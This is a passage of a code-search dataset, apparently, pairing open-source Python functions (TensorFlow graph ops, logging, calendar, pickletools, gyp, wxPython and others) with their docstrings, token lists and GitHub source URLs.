[ "Creates", "an", "Operation", "in", "this", "graph", "." ]
def create_op(self, op_type, inputs, dtypes, input_types=None, name=None, attrs=None, op_def=None, compute_shapes=True, compute_device=True): """Creates an `Operation` in this graph. This is a low-level interface for creating an `Operation`. Most programs will not call this method directly, and instead use the Python op constructors, such as `tf.constant()`, which add ops to the default graph. Args: op_type: The `Operation` type to create. This corresponds to the `OpDef.name` field for the proto that defines the operation. inputs: A list of `Tensor` objects that will be inputs to the `Operation`. dtypes: A list of `DType` objects that will be the types of the tensors that the operation produces. input_types: (Optional.) A list of `DType`s that will be the types of the tensors that the operation consumes. By default, uses the base `DType` of each input in `inputs`. Operations that expect reference-typed inputs must specify `input_types` explicitly. name: (Optional.) A string name for the operation. If not specified, a name is generated based on `op_type`. attrs: (Optional.) A dictionary where the key is the attribute name (a string) and the value is the respective `attr` attribute of the `NodeDef` proto that will represent the operation (an `AttrValue` proto). op_def: (Optional.) The `OpDef` proto that describes the `op_type` that the operation will have. compute_shapes: (Optional.) If True, shape inference will be performed to compute the shapes of the outputs. compute_device: (Optional.) If True, device functions will be executed to compute the device property of the Operation. Raises: TypeError: if any of the inputs is not a `Tensor`. ValueError: if colocation conflicts with existing device assignment. Returns: An `Operation` object. """ self._check_not_finalized() for idx, a in enumerate(inputs): if not isinstance(a, Tensor): raise TypeError("Input #%d is not a tensor: %s" % (idx, a)) if name is None: name = op_type # If a names ends with a '/' it is a "name scope" and we use it as-is, # after removing the trailing '/'. if name and name[-1] == "/": name = name[:-1] else: name = self.unique_name(name) node_def = _NodeDef(op_type, name, device=None, attrs=attrs) # Apply any additional attributes requested. Do not overwrite any existing # attributes. for key, value in self._attr_scope_map.items(): if key not in node_def.attr: node_def.attr[key].CopyFrom(value) # Apply a kernel label if one has been specified for this op_type. try: kernel_label = self._op_to_kernel_label_map[op_type] node_def.attr["_kernel"].CopyFrom( attr_value_pb2.AttrValue(s=compat.as_bytes(kernel_label))) except KeyError: pass # Apply the overriding op_type for gradients if one has been # specified for this op_type. try: mapped_op_type = self._gradient_override_map[op_type] node_def.attr["_gradient_op_type"].CopyFrom( attr_value_pb2.AttrValue(s=compat.as_bytes(mapped_op_type))) except KeyError: pass control_inputs = self._control_dependencies_for_inputs(inputs) ret = Operation(node_def, self, inputs=inputs, output_types=dtypes, control_inputs=control_inputs, input_types=input_types, original_op=self._default_original_op, op_def=op_def) if compute_shapes: set_shapes_for_outputs(ret) self._add_op(ret) self._record_op_seen_by_control_dependencies(ret) if compute_device: self._apply_device_functions(ret) if self._colocation_stack: all_colocation_groups = [] for colocation_op in self._colocation_stack: all_colocation_groups.extend(colocation_op.colocation_groups()) if colocation_op.device: # Make this device match the device of the colocated op, to # provide consistency between the device and the colocation # property. if ret.device and ret.device != colocation_op.device: logging.warning("Tried to colocate %s with an op %s that had " "a different device: %s vs %s. " "Ignoring colocation property.", name, colocation_op.name, ret.device, colocation_op.device) else: ret._set_device(colocation_op.device) all_colocation_groups = sorted(set(all_colocation_groups)) ret.node_def.attr["_class"].CopyFrom(attr_value_pb2.AttrValue( list=attr_value_pb2.AttrValue.ListValue(s=all_colocation_groups))) # Sets "container" attribute if # (1) self._container is not None # (2) "is_stateful" is set in OpDef # (3) "container" attribute is in OpDef # (4) "container" attribute is None if (self._container and op_type in self._registered_ops and self._registered_ops[op_type].is_stateful and "container" in ret.node_def.attr and not ret.node_def.attr["container"].s): ret.node_def.attr["container"].CopyFrom( attr_value_pb2.AttrValue(s=compat.as_bytes(self._container))) return ret
[ "def", "create_op", "(", "self", ",", "op_type", ",", "inputs", ",", "dtypes", ",", "input_types", "=", "None", ",", "name", "=", "None", ",", "attrs", "=", "None", ",", "op_def", "=", "None", ",", "compute_shapes", "=", "True", ",", "compute_device", "=", "True", ")", ":", "self", ".", "_check_not_finalized", "(", ")", "for", "idx", ",", "a", "in", "enumerate", "(", "inputs", ")", ":", "if", "not", "isinstance", "(", "a", ",", "Tensor", ")", ":", "raise", "TypeError", "(", "\"Input #%d is not a tensor: %s\"", "%", "(", "idx", ",", "a", ")", ")", "if", "name", "is", "None", ":", "name", "=", "op_type", "# If a names ends with a '/' it is a \"name scope\" and we use it as-is,", "# after removing the trailing '/'.", "if", "name", "and", "name", "[", "-", "1", "]", "==", "\"/\"", ":", "name", "=", "name", "[", ":", "-", "1", "]", "else", ":", "name", "=", "self", ".", "unique_name", "(", "name", ")", "node_def", "=", "_NodeDef", "(", "op_type", ",", "name", ",", "device", "=", "None", ",", "attrs", "=", "attrs", ")", "# Apply any additional attributes requested. Do not overwrite any existing", "# attributes.", "for", "key", ",", "value", "in", "self", ".", "_attr_scope_map", ".", "items", "(", ")", ":", "if", "key", "not", "in", "node_def", ".", "attr", ":", "node_def", ".", "attr", "[", "key", "]", ".", "CopyFrom", "(", "value", ")", "# Apply a kernel label if one has been specified for this op_type.", "try", ":", "kernel_label", "=", "self", ".", "_op_to_kernel_label_map", "[", "op_type", "]", "node_def", ".", "attr", "[", "\"_kernel\"", "]", ".", "CopyFrom", "(", "attr_value_pb2", ".", "AttrValue", "(", "s", "=", "compat", ".", "as_bytes", "(", "kernel_label", ")", ")", ")", "except", "KeyError", ":", "pass", "# Apply the overriding op_type for gradients if one has been", "# specified for this op_type.", "try", ":", "mapped_op_type", "=", "self", ".", "_gradient_override_map", "[", "op_type", "]", "node_def", ".", "attr", "[", "\"_gradient_op_type\"", "]", ".", "CopyFrom", "(", "attr_value_pb2", ".", "AttrValue", "(", "s", "=", "compat", ".", "as_bytes", "(", "mapped_op_type", ")", ")", ")", "except", "KeyError", ":", "pass", "control_inputs", "=", "self", ".", "_control_dependencies_for_inputs", "(", "inputs", ")", "ret", "=", "Operation", "(", "node_def", ",", "self", ",", "inputs", "=", "inputs", ",", "output_types", "=", "dtypes", ",", "control_inputs", "=", "control_inputs", ",", "input_types", "=", "input_types", ",", "original_op", "=", "self", ".", "_default_original_op", ",", "op_def", "=", "op_def", ")", "if", "compute_shapes", ":", "set_shapes_for_outputs", "(", "ret", ")", "self", ".", "_add_op", "(", "ret", ")", "self", ".", "_record_op_seen_by_control_dependencies", "(", "ret", ")", "if", "compute_device", ":", "self", ".", "_apply_device_functions", "(", "ret", ")", "if", "self", ".", "_colocation_stack", ":", "all_colocation_groups", "=", "[", "]", "for", "colocation_op", "in", "self", ".", "_colocation_stack", ":", "all_colocation_groups", ".", "extend", "(", "colocation_op", ".", "colocation_groups", "(", ")", ")", "if", "colocation_op", ".", "device", ":", "# Make this device match the device of the colocated op, to", "# provide consistency between the device and the colocation", "# property.", "if", "ret", ".", "device", "and", "ret", ".", "device", "!=", "colocation_op", ".", "device", ":", "logging", ".", "warning", "(", "\"Tried to colocate %s with an op %s that had \"", "\"a different device: %s vs %s. \"", "\"Ignoring colocation property.\"", ",", "name", ",", "colocation_op", ".", "name", ",", "ret", ".", "device", ",", "colocation_op", ".", "device", ")", "else", ":", "ret", ".", "_set_device", "(", "colocation_op", ".", "device", ")", "all_colocation_groups", "=", "sorted", "(", "set", "(", "all_colocation_groups", ")", ")", "ret", ".", "node_def", ".", "attr", "[", "\"_class\"", "]", ".", "CopyFrom", "(", "attr_value_pb2", ".", "AttrValue", "(", "list", "=", "attr_value_pb2", ".", "AttrValue", ".", "ListValue", "(", "s", "=", "all_colocation_groups", ")", ")", ")", "# Sets \"container\" attribute if", "# (1) self._container is not None", "# (2) \"is_stateful\" is set in OpDef", "# (3) \"container\" attribute is in OpDef", "# (4) \"container\" attribute is None", "if", "(", "self", ".", "_container", "and", "op_type", "in", "self", ".", "_registered_ops", "and", "self", ".", "_registered_ops", "[", "op_type", "]", ".", "is_stateful", "and", "\"container\"", "in", "ret", ".", "node_def", ".", "attr", "and", "not", "ret", ".", "node_def", ".", "attr", "[", "\"container\"", "]", ".", "s", ")", ":", "ret", ".", "node_def", ".", "attr", "[", "\"container\"", "]", ".", "CopyFrom", "(", "attr_value_pb2", ".", "AttrValue", "(", "s", "=", "compat", ".", "as_bytes", "(", "self", ".", "_container", ")", ")", ")", "return", "ret" ]
https://github.com/hughperkins/tf-coriander/blob/970d3df6c11400ad68405f22b0c42a52374e94ca/tensorflow/python/framework/ops.py#L2306-L2431
rsummers11/CADLab
976ed959a0b5208bb4173127a7ef732ac73a9b6f
body_part_regressor/bodypartregressor/compare_diff_layer.py
python
CompareDiffLayer.backward
(self, top, propagate_down, bottom)
This layer does not propagate gradients.
This layer does not propagate gradients.
[ "This", "layer", "does", "not", "propagate", "gradients", "." ]
def backward(self, top, propagate_down, bottom): """This layer does not propagate gradients.""" top_diff = top[0].diff out = self.Ab.dot(top_diff) #print out bottom[0].diff[...] = out.reshape(*bottom[0].diff.shape)
[ "def", "backward", "(", "self", ",", "top", ",", "propagate_down", ",", "bottom", ")", ":", "top_diff", "=", "top", "[", "0", "]", ".", "diff", "out", "=", "self", ".", "Ab", ".", "dot", "(", "top_diff", ")", "#print out", "bottom", "[", "0", "]", ".", "diff", "[", "...", "]", "=", "out", ".", "reshape", "(", "*", "bottom", "[", "0", "]", ".", "diff", ".", "shape", ")" ]
https://github.com/rsummers11/CADLab/blob/976ed959a0b5208bb4173127a7ef732ac73a9b6f/body_part_regressor/bodypartregressor/compare_diff_layer.py#L69-L74
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/windows/Lib/logging/__init__.py
python
Formatter.formatStack
(self, stack_info)
return stack_info
This method is provided as an extension point for specialized formatting of stack information. The input data is a string as returned from a call to :func:`traceback.print_stack`, but with the last trailing newline removed. The base implementation just returns the value passed in.
This method is provided as an extension point for specialized formatting of stack information.
[ "This", "method", "is", "provided", "as", "an", "extension", "point", "for", "specialized", "formatting", "of", "stack", "information", "." ]
def formatStack(self, stack_info): """ This method is provided as an extension point for specialized formatting of stack information. The input data is a string as returned from a call to :func:`traceback.print_stack`, but with the last trailing newline removed. The base implementation just returns the value passed in. """ return stack_info
[ "def", "formatStack", "(", "self", ",", "stack_info", ")", ":", "return", "stack_info" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/windows/Lib/logging/__init__.py#L582-L593
hfinkel/llvm-project-cxxjit
91084ef018240bbb8e24235ff5cd8c355a9c1a1e
llvm/utils/benchmark/tools/gbench/report.py
python
find_longest_name
(benchmark_list)
return longest_name
Return the length of the longest benchmark name in a given list of benchmark JSON objects
Return the length of the longest benchmark name in a given list of benchmark JSON objects
[ "Return", "the", "length", "of", "the", "longest", "benchmark", "name", "in", "a", "given", "list", "of", "benchmark", "JSON", "objects" ]
def find_longest_name(benchmark_list): """ Return the length of the longest benchmark name in a given list of benchmark JSON objects """ longest_name = 1 for bc in benchmark_list: if len(bc['name']) > longest_name: longest_name = len(bc['name']) return longest_name
[ "def", "find_longest_name", "(", "benchmark_list", ")", ":", "longest_name", "=", "1", "for", "bc", "in", "benchmark_list", ":", "if", "len", "(", "bc", "[", "'name'", "]", ")", ">", "longest_name", ":", "longest_name", "=", "len", "(", "bc", "[", "'name'", "]", ")", "return", "longest_name" ]
https://github.com/hfinkel/llvm-project-cxxjit/blob/91084ef018240bbb8e24235ff5cd8c355a9c1a1e/llvm/utils/benchmark/tools/gbench/report.py#L48-L57
cztomczak/cefpython
5679f28cec18a57a56e298da2927aac8d8f83ad6
tools/build.py
python
compile_cpp_projects_with_setuptools
()
Use setuptools to build static libraries / executable.
Use setuptools to build static libraries / executable.
[ "Use", "setuptools", "to", "build", "static", "libraries", "/", "executable", "." ]
def compile_cpp_projects_with_setuptools(): """Use setuptools to build static libraries / executable.""" compile_cpp_projects = os.path.join(TOOLS_DIR, "build_cpp_projects.py") retcode = subprocess.call([sys.executable, compile_cpp_projects]) if retcode != 0: print("[build.py] ERROR: Failed to compile C++ projects") sys.exit(1) # Copy subprocess executable print("[build.py] Copy subprocess executable") shutil.copy(SUBPROCESS_EXE, CEFPYTHON_BINARY)
[ "def", "compile_cpp_projects_with_setuptools", "(", ")", ":", "compile_cpp_projects", "=", "os", ".", "path", ".", "join", "(", "TOOLS_DIR", ",", "\"build_cpp_projects.py\"", ")", "retcode", "=", "subprocess", ".", "call", "(", "[", "sys", ".", "executable", ",", "compile_cpp_projects", "]", ")", "if", "retcode", "!=", "0", ":", "print", "(", "\"[build.py] ERROR: Failed to compile C++ projects\"", ")", "sys", ".", "exit", "(", "1", ")", "# Copy subprocess executable", "print", "(", "\"[build.py] Copy subprocess executable\"", ")", "shutil", ".", "copy", "(", "SUBPROCESS_EXE", ",", "CEFPYTHON_BINARY", ")" ]
https://github.com/cztomczak/cefpython/blob/5679f28cec18a57a56e298da2927aac8d8f83ad6/tools/build.py#L403-L412
baidu/bigflow
449245016c0df7d1252e85581e588bfc60cefad3
bigflow_python/python/bigflow/pcollection.py
python
PCollection.subtract
(self, other)
return transforms.subtract(self, other)
返回不存在另一个PCollection中的元素,相当于做容器减法 Args: other (PCollection): 作为减数的PCollection Returns: PCollection: 表示减法结果的PCollection >>> a = _pipeline.parallelize([1, 2, 3, 3, 4]) >>> b = _pipeline.parallelize([1, 2, 5]) >>> a.subtract(b).get() [3, 3, 4]
返回不存在另一个PCollection中的元素,相当于做容器减法
[ "返回不存在另一个PCollection中的元素,相当于做容器减法" ]
def subtract(self, other): """ 返回不存在另一个PCollection中的元素,相当于做容器减法 Args: other (PCollection): 作为减数的PCollection Returns: PCollection: 表示减法结果的PCollection >>> a = _pipeline.parallelize([1, 2, 3, 3, 4]) >>> b = _pipeline.parallelize([1, 2, 5]) >>> a.subtract(b).get() [3, 3, 4] """ return transforms.subtract(self, other)
[ "def", "subtract", "(", "self", ",", "other", ")", ":", "return", "transforms", ".", "subtract", "(", "self", ",", "other", ")" ]
https://github.com/baidu/bigflow/blob/449245016c0df7d1252e85581e588bfc60cefad3/bigflow_python/python/bigflow/pcollection.py#L602-L618
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/msw/_core.py
python
Image.CountColours
(*args, **kwargs)
return _core_.Image_CountColours(*args, **kwargs)
CountColours(self, unsigned long stopafter=(unsigned long) -1) -> unsigned long
CountColours(self, unsigned long stopafter=(unsigned long) -1) -> unsigned long
[ "CountColours", "(", "self", "unsigned", "long", "stopafter", "=", "(", "unsigned", "long", ")", "-", "1", ")", "-", ">", "unsigned", "long" ]
def CountColours(*args, **kwargs): """CountColours(self, unsigned long stopafter=(unsigned long) -1) -> unsigned long""" return _core_.Image_CountColours(*args, **kwargs)
[ "def", "CountColours", "(", "*", "args", ",", "*", "*", "kwargs", ")", ":", "return", "_core_", ".", "Image_CountColours", "(", "*", "args", ",", "*", "*", "kwargs", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/msw/_core.py#L3605-L3607
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/msw/_core.py
python
Window.GetId
(*args, **kwargs)
return _core_.Window_GetId(*args, **kwargs)
GetId(self) -> int Returns the identifier of the window. Each window has an integer identifier. If the application has not provided one (or the default Id -1 is used) then an unique identifier with a negative value will be generated.
GetId(self) -> int
[ "GetId", "(", "self", ")", "-", ">", "int" ]
def GetId(*args, **kwargs): """ GetId(self) -> int Returns the identifier of the window. Each window has an integer identifier. If the application has not provided one (or the default Id -1 is used) then an unique identifier with a negative value will be generated. """ return _core_.Window_GetId(*args, **kwargs)
[ "def", "GetId", "(", "*", "args", ",", "*", "*", "kwargs", ")", ":", "return", "_core_", ".", "Window_GetId", "(", "*", "args", ",", "*", "*", "kwargs", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/msw/_core.py#L9265-L9274
benoitsteiner/tensorflow-opencl
cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5
tensorflow/tools/ci_build/update_version.py
python
main
()
This script updates all instances of version in the tensorflow directory. Requirements: version: The version tag OR nightly: Create a nightly tag with current date Raises: RuntimeError: If the script is not being run from tf source dir
This script updates all instances of version in the tensorflow directory.
[ "This", "script", "updates", "all", "instances", "of", "version", "in", "the", "tensorflow", "directory", "." ]
def main(): """This script updates all instances of version in the tensorflow directory. Requirements: version: The version tag OR nightly: Create a nightly tag with current date Raises: RuntimeError: If the script is not being run from tf source dir """ parser = argparse.ArgumentParser(description="Cherry picking automation.") group = parser.add_mutually_exclusive_group(required=True) # Arg information group.add_argument("--version", help="<new_major_ver>.<new_minor_ver>.<new_patch_ver>", default="") group.add_argument("--nightly", help="disable the service provisioning step", action="store_true") args = parser.parse_args() check_all_files() old_version = get_current_semver_version() if args.nightly: # dev minor version is one ahead of official nightly_minor_ver = int(old_version.minor) + 1 new_version = Version(old_version.major, str(nightly_minor_ver), old_version.patch, "-dev" + time.strftime("%Y%m%d"), NIGHTLY_VERSION) else: new_version = Version.parse_from_string(args.version, REGULAR_VERSION) update_version_h(old_version, new_version) update_setup_dot_py(old_version, new_version) update_readme(old_version, new_version) update_md_files(old_version, new_version) update_dockerfiles(old_version, new_version) # Print transition details print("Major: %s -> %s" % (old_version.major, new_version.major)) print("Minor: %s -> %s" % (old_version.minor, new_version.minor)) print("Patch: %s -> %s\n" % (old_version.patch, new_version.patch)) check_for_old_version(old_version, new_version)
[ "def", "main", "(", ")", ":", "parser", "=", "argparse", ".", "ArgumentParser", "(", "description", "=", "\"Cherry picking automation.\"", ")", "group", "=", "parser", ".", "add_mutually_exclusive_group", "(", "required", "=", "True", ")", "# Arg information", "group", ".", "add_argument", "(", "\"--version\"", ",", "help", "=", "\"<new_major_ver>.<new_minor_ver>.<new_patch_ver>\"", ",", "default", "=", "\"\"", ")", "group", ".", "add_argument", "(", "\"--nightly\"", ",", "help", "=", "\"disable the service provisioning step\"", ",", "action", "=", "\"store_true\"", ")", "args", "=", "parser", ".", "parse_args", "(", ")", "check_all_files", "(", ")", "old_version", "=", "get_current_semver_version", "(", ")", "if", "args", ".", "nightly", ":", "# dev minor version is one ahead of official", "nightly_minor_ver", "=", "int", "(", "old_version", ".", "minor", ")", "+", "1", "new_version", "=", "Version", "(", "old_version", ".", "major", ",", "str", "(", "nightly_minor_ver", ")", ",", "old_version", ".", "patch", ",", "\"-dev\"", "+", "time", ".", "strftime", "(", "\"%Y%m%d\"", ")", ",", "NIGHTLY_VERSION", ")", "else", ":", "new_version", "=", "Version", ".", "parse_from_string", "(", "args", ".", "version", ",", "REGULAR_VERSION", ")", "update_version_h", "(", "old_version", ",", "new_version", ")", "update_setup_dot_py", "(", "old_version", ",", "new_version", ")", "update_readme", "(", "old_version", ",", "new_version", ")", "update_md_files", "(", "old_version", ",", "new_version", ")", "update_dockerfiles", "(", "old_version", ",", "new_version", ")", "# Print transition details", "print", "(", "\"Major: %s -> %s\"", "%", "(", "old_version", ".", "major", ",", "new_version", ".", "major", ")", ")", "print", "(", "\"Minor: %s -> %s\"", "%", "(", "old_version", ".", "minor", ",", "new_version", ".", "minor", ")", ")", "print", "(", "\"Patch: %s -> %s\\n\"", "%", "(", "old_version", ".", "patch", ",", "new_version", ".", "patch", ")", ")", "check_for_old_version", "(", "old_version", ",", "new_version", ")" ]
https://github.com/benoitsteiner/tensorflow-opencl/blob/cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5/tensorflow/tools/ci_build/update_version.py#L307-L357
wlanjie/AndroidFFmpeg
7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf
tools/fdk-aac-build/x86/toolchain/lib/python2.7/calendar.py
python
Calendar.yeardayscalendar
(self, year, width=3)
return [months[i:i+width] for i in range(0, len(months), width) ]
Return the data for the specified year ready for formatting (similar to yeardatescalendar()). Entries in the week lists are day numbers. Day numbers outside this month are zero.
Return the data for the specified year ready for formatting (similar to yeardatescalendar()). Entries in the week lists are day numbers. Day numbers outside this month are zero.
[ "Return", "the", "data", "for", "the", "specified", "year", "ready", "for", "formatting", "(", "similar", "to", "yeardatescalendar", "()", ")", ".", "Entries", "in", "the", "week", "lists", "are", "day", "numbers", ".", "Day", "numbers", "outside", "this", "month", "are", "zero", "." ]
def yeardayscalendar(self, year, width=3): """ Return the data for the specified year ready for formatting (similar to yeardatescalendar()). Entries in the week lists are day numbers. Day numbers outside this month are zero. """ months = [ self.monthdayscalendar(year, i) for i in range(January, January+12) ] return [months[i:i+width] for i in range(0, len(months), width) ]
[ "def", "yeardayscalendar", "(", "self", ",", "year", ",", "width", "=", "3", ")", ":", "months", "=", "[", "self", ".", "monthdayscalendar", "(", "year", ",", "i", ")", "for", "i", "in", "range", "(", "January", ",", "January", "+", "12", ")", "]", "return", "[", "months", "[", "i", ":", "i", "+", "width", "]", "for", "i", "in", "range", "(", "0", ",", "len", "(", "months", ")", ",", "width", ")", "]" ]
https://github.com/wlanjie/AndroidFFmpeg/blob/7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf/tools/fdk-aac-build/x86/toolchain/lib/python2.7/calendar.py#L246-L256
InsightSoftwareConsortium/ITK
87acfce9a93d928311c38bc371b666b515b9f19d
Modules/ThirdParty/pygccxml/src/pygccxml/declarations/calldef.py
python
calldef_t.has_extern
(self)
return self._has_extern
Was this callable declared as "extern"? @type: bool
Was this callable declared as "extern"?
[ "Was", "this", "callable", "declared", "as", "extern", "?" ]
def has_extern(self): """Was this callable declared as "extern"? @type: bool""" return self._has_extern
[ "def", "has_extern", "(", "self", ")", ":", "return", "self", ".", "_has_extern" ]
https://github.com/InsightSoftwareConsortium/ITK/blob/87acfce9a93d928311c38bc371b666b515b9f19d/Modules/ThirdParty/pygccxml/src/pygccxml/declarations/calldef.py#L294-L297
pmq20/node-packer
12c46c6e44fbc14d9ee645ebd17d5296b324f7e0
current/tools/gyp/pylib/gyp/generator/cmake.py
python
CreateCMakeTargetBaseName
(qualified_target)
return StringToCMakeTargetName(cmake_target_base_name)
This is the name we would like the target to have.
This is the name we would like the target to have.
[ "This", "is", "the", "name", "we", "would", "like", "the", "target", "to", "have", "." ]
def CreateCMakeTargetBaseName(qualified_target): """This is the name we would like the target to have.""" _, gyp_target_name, gyp_target_toolset = ( gyp.common.ParseQualifiedTarget(qualified_target)) cmake_target_base_name = gyp_target_name if gyp_target_toolset and gyp_target_toolset != 'target': cmake_target_base_name += '_' + gyp_target_toolset return StringToCMakeTargetName(cmake_target_base_name)
[ "def", "CreateCMakeTargetBaseName", "(", "qualified_target", ")", ":", "_", ",", "gyp_target_name", ",", "gyp_target_toolset", "=", "(", "gyp", ".", "common", ".", "ParseQualifiedTarget", "(", "qualified_target", ")", ")", "cmake_target_base_name", "=", "gyp_target_name", "if", "gyp_target_toolset", "and", "gyp_target_toolset", "!=", "'target'", ":", "cmake_target_base_name", "+=", "'_'", "+", "gyp_target_toolset", "return", "StringToCMakeTargetName", "(", "cmake_target_base_name", ")" ]
https://github.com/pmq20/node-packer/blob/12c46c6e44fbc14d9ee645ebd17d5296b324f7e0/current/tools/gyp/pylib/gyp/generator/cmake.py#L557-L564
wlanjie/AndroidFFmpeg
7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf
tools/fdk-aac-build/armeabi-v7a/toolchain/lib/python2.7/pickletools.py
python
dis
(pickle, out=None, memo=None, indentlevel=4)
Produce a symbolic disassembly of a pickle. 'pickle' is a file-like object, or string, containing a (at least one) pickle. The pickle is disassembled from the current position, through the first STOP opcode encountered. Optional arg 'out' is a file-like object to which the disassembly is printed. It defaults to sys.stdout. Optional arg 'memo' is a Python dict, used as the pickle's memo. It may be mutated by dis(), if the pickle contains PUT or BINPUT opcodes. Passing the same memo object to another dis() call then allows disassembly to proceed across multiple pickles that were all created by the same pickler with the same memo. Ordinarily you don't need to worry about this. Optional arg indentlevel is the number of blanks by which to indent a new MARK level. It defaults to 4. In addition to printing the disassembly, some sanity checks are made: + All embedded opcode arguments "make sense". + Explicit and implicit pop operations have enough items on the stack. + When an opcode implicitly refers to a markobject, a markobject is actually on the stack. + A memo entry isn't referenced before it's defined. + The markobject isn't stored in the memo. + A memo entry isn't redefined.
Produce a symbolic disassembly of a pickle.
[ "Produce", "a", "symbolic", "disassembly", "of", "a", "pickle", "." ]
def dis(pickle, out=None, memo=None, indentlevel=4): """Produce a symbolic disassembly of a pickle. 'pickle' is a file-like object, or string, containing a (at least one) pickle. The pickle is disassembled from the current position, through the first STOP opcode encountered. Optional arg 'out' is a file-like object to which the disassembly is printed. It defaults to sys.stdout. Optional arg 'memo' is a Python dict, used as the pickle's memo. It may be mutated by dis(), if the pickle contains PUT or BINPUT opcodes. Passing the same memo object to another dis() call then allows disassembly to proceed across multiple pickles that were all created by the same pickler with the same memo. Ordinarily you don't need to worry about this. Optional arg indentlevel is the number of blanks by which to indent a new MARK level. It defaults to 4. In addition to printing the disassembly, some sanity checks are made: + All embedded opcode arguments "make sense". + Explicit and implicit pop operations have enough items on the stack. + When an opcode implicitly refers to a markobject, a markobject is actually on the stack. + A memo entry isn't referenced before it's defined. + The markobject isn't stored in the memo. + A memo entry isn't redefined. """ # Most of the hair here is for sanity checks, but most of it is needed # anyway to detect when a protocol 0 POP takes a MARK off the stack # (which in turn is needed to indent MARK blocks correctly). stack = [] # crude emulation of unpickler stack if memo is None: memo = {} # crude emulation of unpicker memo maxproto = -1 # max protocol number seen markstack = [] # bytecode positions of MARK opcodes indentchunk = ' ' * indentlevel errormsg = None for opcode, arg, pos in genops(pickle): if pos is not None: print >> out, "%5d:" % pos, line = "%-4s %s%s" % (repr(opcode.code)[1:-1], indentchunk * len(markstack), opcode.name) maxproto = max(maxproto, opcode.proto) before = opcode.stack_before # don't mutate after = opcode.stack_after # don't mutate numtopop = len(before) # See whether a MARK should be popped. markmsg = None if markobject in before or (opcode.name == "POP" and stack and stack[-1] is markobject): assert markobject not in after if __debug__: if markobject in before: assert before[-1] is stackslice if markstack: markpos = markstack.pop() if markpos is None: markmsg = "(MARK at unknown opcode offset)" else: markmsg = "(MARK at %d)" % markpos # Pop everything at and after the topmost markobject. while stack[-1] is not markobject: stack.pop() stack.pop() # Stop later code from popping too much. try: numtopop = before.index(markobject) except ValueError: assert opcode.name == "POP" numtopop = 0 else: errormsg = markmsg = "no MARK exists on stack" # Check for correct memo usage. if opcode.name in ("PUT", "BINPUT", "LONG_BINPUT"): assert arg is not None if arg in memo: errormsg = "memo key %r already defined" % arg elif not stack: errormsg = "stack is empty -- can't store into memo" elif stack[-1] is markobject: errormsg = "can't store markobject in the memo" else: memo[arg] = stack[-1] elif opcode.name in ("GET", "BINGET", "LONG_BINGET"): if arg in memo: assert len(after) == 1 after = [memo[arg]] # for better stack emulation else: errormsg = "memo key %r has never been stored into" % arg if arg is not None or markmsg: # make a mild effort to align arguments line += ' ' * (10 - len(opcode.name)) if arg is not None: line += ' ' + repr(arg) if markmsg: line += ' ' + markmsg print >> out, line if errormsg: # Note that we delayed complaining until the offending opcode # was printed. raise ValueError(errormsg) # Emulate the stack effects. if len(stack) < numtopop: raise ValueError("tries to pop %d items from stack with " "only %d items" % (numtopop, len(stack))) if numtopop: del stack[-numtopop:] if markobject in after: assert markobject not in before markstack.append(pos) stack.extend(after) print >> out, "highest protocol among opcodes =", maxproto if stack: raise ValueError("stack not empty after STOP: %r" % stack)
[ "def", "dis", "(", "pickle", ",", "out", "=", "None", ",", "memo", "=", "None", ",", "indentlevel", "=", "4", ")", ":", "# Most of the hair here is for sanity checks, but most of it is needed", "# anyway to detect when a protocol 0 POP takes a MARK off the stack", "# (which in turn is needed to indent MARK blocks correctly).", "stack", "=", "[", "]", "# crude emulation of unpickler stack", "if", "memo", "is", "None", ":", "memo", "=", "{", "}", "# crude emulation of unpicker memo", "maxproto", "=", "-", "1", "# max protocol number seen", "markstack", "=", "[", "]", "# bytecode positions of MARK opcodes", "indentchunk", "=", "' '", "*", "indentlevel", "errormsg", "=", "None", "for", "opcode", ",", "arg", ",", "pos", "in", "genops", "(", "pickle", ")", ":", "if", "pos", "is", "not", "None", ":", "print", ">>", "out", ",", "\"%5d:\"", "%", "pos", ",", "line", "=", "\"%-4s %s%s\"", "%", "(", "repr", "(", "opcode", ".", "code", ")", "[", "1", ":", "-", "1", "]", ",", "indentchunk", "*", "len", "(", "markstack", ")", ",", "opcode", ".", "name", ")", "maxproto", "=", "max", "(", "maxproto", ",", "opcode", ".", "proto", ")", "before", "=", "opcode", ".", "stack_before", "# don't mutate", "after", "=", "opcode", ".", "stack_after", "# don't mutate", "numtopop", "=", "len", "(", "before", ")", "# See whether a MARK should be popped.", "markmsg", "=", "None", "if", "markobject", "in", "before", "or", "(", "opcode", ".", "name", "==", "\"POP\"", "and", "stack", "and", "stack", "[", "-", "1", "]", "is", "markobject", ")", ":", "assert", "markobject", "not", "in", "after", "if", "__debug__", ":", "if", "markobject", "in", "before", ":", "assert", "before", "[", "-", "1", "]", "is", "stackslice", "if", "markstack", ":", "markpos", "=", "markstack", ".", "pop", "(", ")", "if", "markpos", "is", "None", ":", "markmsg", "=", "\"(MARK at unknown opcode offset)\"", "else", ":", "markmsg", "=", "\"(MARK at %d)\"", "%", "markpos", "# Pop everything at and after the topmost markobject.", "while", "stack", "[", "-", "1", "]", "is", "not", "markobject", ":", "stack", ".", "pop", "(", ")", "stack", ".", "pop", "(", ")", "# Stop later code from popping too much.", "try", ":", "numtopop", "=", "before", ".", "index", "(", "markobject", ")", "except", "ValueError", ":", "assert", "opcode", ".", "name", "==", "\"POP\"", "numtopop", "=", "0", "else", ":", "errormsg", "=", "markmsg", "=", "\"no MARK exists on stack\"", "# Check for correct memo usage.", "if", "opcode", ".", "name", "in", "(", "\"PUT\"", ",", "\"BINPUT\"", ",", "\"LONG_BINPUT\"", ")", ":", "assert", "arg", "is", "not", "None", "if", "arg", "in", "memo", ":", "errormsg", "=", "\"memo key %r already defined\"", "%", 